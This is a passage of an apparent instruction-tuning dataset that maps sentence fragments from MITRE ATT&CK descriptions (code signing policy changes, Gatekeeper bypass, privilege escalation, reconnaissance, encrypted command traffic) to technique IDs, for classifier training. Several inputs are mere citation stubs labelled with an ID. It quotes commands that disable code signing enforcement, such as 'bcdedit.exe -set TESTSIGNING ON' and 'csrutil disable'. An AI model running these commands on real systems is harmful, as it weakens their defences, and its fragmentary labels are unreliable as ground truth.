### Input: Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TESTSIGNING Feb 2021)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TESTSIGNING Feb 2021)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode).", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Services opens the application in a suspended state.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Services opens the application in a suspended state. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation:", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag.", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "output": "T1553.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). ### Response: T1553.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although this API is deprecated, it still fully functions in the latest releases of macOS.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although this API is deprecated, it still fully functions in the latest releases of macOS. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation:", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Coldroot RAT)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Coldroot RAT) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "output": "T1548.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!) ### Response: T1548.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's hosts that can be used during targeting.", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's hosts that can be used during targeting. ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation:", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host firmware that can be used during targeting.", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host firmware that can be used during targeting. ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel)", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ensures that only the intended recipient can read the encrypted data.", "output": "T1573.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ensures that only the intended recipient can read the encrypted data. ### Response: T1573.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common public key encryption algorithms 